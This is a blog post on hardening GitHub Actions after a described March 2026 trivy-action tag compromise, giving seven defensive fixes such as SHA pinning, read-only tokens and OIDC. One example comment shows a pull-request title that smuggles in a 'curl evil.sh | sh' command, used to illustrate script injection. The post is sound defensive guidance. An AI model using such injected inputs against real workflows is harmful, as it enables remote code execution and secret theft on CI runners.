Skip to main content
GitHub Actions Security: 7 Fixes After the Trivy Compromise

GitHub Actions Security: 7 Fixes After the Trivy Compromise

KU
• 6 min read•1 view

In March 2026 an attacker force-pushed 76 trivy-action tags to an infostealer that read secrets straight out of runner memory. Seven fixes that would have contained it, in the order we'd apply them.

Key takeaways

  • On March 19, 2026, attackers force-pushed 76 of 77 aquasecurity/trivy-action tags to code that dumped runner memory and stole CI secrets.
  • Workflows pinned to a full commit SHA were not affected.
  • Pin actions to SHAs or a lockfile, make GITHUB_TOKEN read-only by default, replace stored cloud keys with OIDC, and avoid pull_request_target with untrusted code.

If your workflows reference actions by tag, such as uses: some/action@v2, you trust that nobody will move that tag. On March 19, 2026, an attacker with stolen credentials force-pushed 76 of 77 aquasecurity/trivy-action tags to a credential stealer (CVE-2026-33634). For about twelve hours, any workflow running trivy-action@<tag> ran the attacker's code.

The payload dumped the Runner.Worker process memory to extract secrets and swept more than 50 filesystem paths for SSH keys, cloud credentials, Kubernetes tokens and .env files. Images referenced by digest and actions pinned by commit SHA were not affected.

Here are the seven fixes, in the order we'd apply them.

FixStopsEffort
1. Pin actions to full commit SHAsMoved or force-pushed tagsLow, with Dependabot
2. Read-only GITHUB_TOKEN by defaultMalicious code pushing to your repoLow
3. OIDC instead of stored cloud keysLong-lived credentials being stolenMedium
4. No pull_request_target with checked-out PR codeFork PRs running with your secretsLow
5. Untrusted input through env:, never inlineScript injection from PR titles and branch namesLow
6. Workflow dependency lockfileTransitive and repository-swap attacksMedium
7. Allow-list actions at the organization levelUnreviewed third-party actionsLow

1. Pin every action to a full commit SHA

A tag is a pointer anyone with write access can move. A 40-character commit SHA can't be changed. GitHub's own hardening guide says to pin actions to a full-length commit SHA, and Dependabot can still keep pinned actions current, updating the version comment when it sits on the same line.

yaml.yaml
# .github/workflows/scan.yml
permissions:
  contents: read

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
      - uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1 # v0.35.0
        with:
          scan-type: fs

Look up each SHA from the action's own repository, not a fork, and verify it matches the release you intend. One trade-off: Dependabot doesn't raise vulnerability alerts for SHA-pinned actions, so subscribe to advisories for the actions you depend on.

2. Make GITHUB_TOKEN read-only by default

Set permissions: contents: read at the top of every workflow, or change the repository default to read-only, and grant write per job only where needed. A compromised step can then read your code but not push commits, publish packages or approve pull requests.

3. Replace stored cloud keys with OIDC

The trivy payload went looking for cloud credentials. A workflow that authenticates through OpenID Connect has no long-lived key to steal: it exchanges a short-lived token for temporary credentials scoped to one role. Restrict the role's trust policy to your repository and branch, so a token from another repository or a fork can't assume it.

4. Treat pull_request_target as dangerous

pull_request_target runs in the context of the base repository, with its secrets and a write token. Combined with checking out the pull request's code, it lets anyone with a fork run code with your secrets. Snyk's analysis traces the trivy credentials back to an earlier compromise that began with exactly this kind of pull_request_target workflow. If you need privileged follow-up work for pull requests, split it into a workflow_run workflow that never checks out untrusted code.

5. Pass untrusted input through environment variables

PR titles, branch names and issue bodies are attacker-controlled. Interpolating them into a run: script with ${{ }} turns them into shell code.

yaml.yaml
# Vulnerable: a PR titled  a"; curl evil.sh | sh; "  runs that command
- run: echo "Title: ${{ github.event.pull_request.title }}"

# Safe: the value arrives as data, not code
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

6 and 7. Lock dependencies and allow-list actions

GitHub now documents a workflow dependency lockfile, .github/workflows/actions.lock, generated by the gh actions-lock CLI extension. It records the exact commit for every action, including transitive ones, and verifies the source repository's identity at run time. GitHub calls it the strongest protection available, superseding SHA pinning for repositories that adopt it. Pair it with an organization policy that allows only actions you've reviewed, so a new third-party action needs a deliberate decision. For the package side of the same problem, see our npm supply chain CI hardening guide.

If you ran an affected version

The advisory's guidance is blunt: treat every secret those pipelines could reach as exposed and rotate it. Check runs from March 19-20, 2026, remove any Trivy v0.69.4, v0.69.5 or v0.69.6 artifacts, and search your organization for repositories named tpcp-docs, which the malware created as a fallback exfiltration channel.

Questions people ask

Should I pin GitHub Actions to a SHA or a version tag?

Pin to a full commit SHA and keep the version as a comment on the same line. Tags can be moved, which is how the March 2026 trivy-action compromise reached workflows that never changed a line (Snyk estimates more than 10,000 workflow files referenced the action), while a SHA can't. Dependabot can still update SHA-pinned actions, so pinning doesn't mean falling behind.

Was my workflow affected by the trivy-action compromise?

If a workflow ran aquasecurity/trivy-action by a version tag between about 17:43 UTC on March 19 and 05:40 UTC on March 20, 2026, assume it was, and rotate every secret it could read. Workflows pinned to a commit SHA, and images referenced by digest, were not affected.

What permissions should GITHUB_TOKEN have?

Read-only by default: contents: read at the workflow level, with write scopes granted per job only where a step genuinely needs them, such as packages: write for publishing an image. This limits what a compromised action can do with the token.

The decision, concretely

  • Public repository accepting fork PRs? Fixes 1, 2, 4 and 5 today, before anything else.
  • Workflows deploying to a cloud account? Add OIDC; stored access keys are the prize attackers look for.
  • Many repositories in an organization? Set read-only token defaults and an action allow-list once, at the organization level.
  • Ready for the strongest option? Adopt the workflow dependency lockfile and let it replace manual SHA pinning.

The call we'd make

Spend one afternoon pinning SHAs, setting read-only tokens and removing pull_request_target from anything that checks out PR code. Those three changes would have contained the trivy compromise for most teams. Then schedule OIDC and the lockfile, because the next incident will target whatever secrets your CI still holds.

Sources

React
Share this post
KU

Kiril Urbonas

AI Engineer

570 articles
View all articles by Kiril Urbonas

You might have missed

Evergreen posts worth revisiting.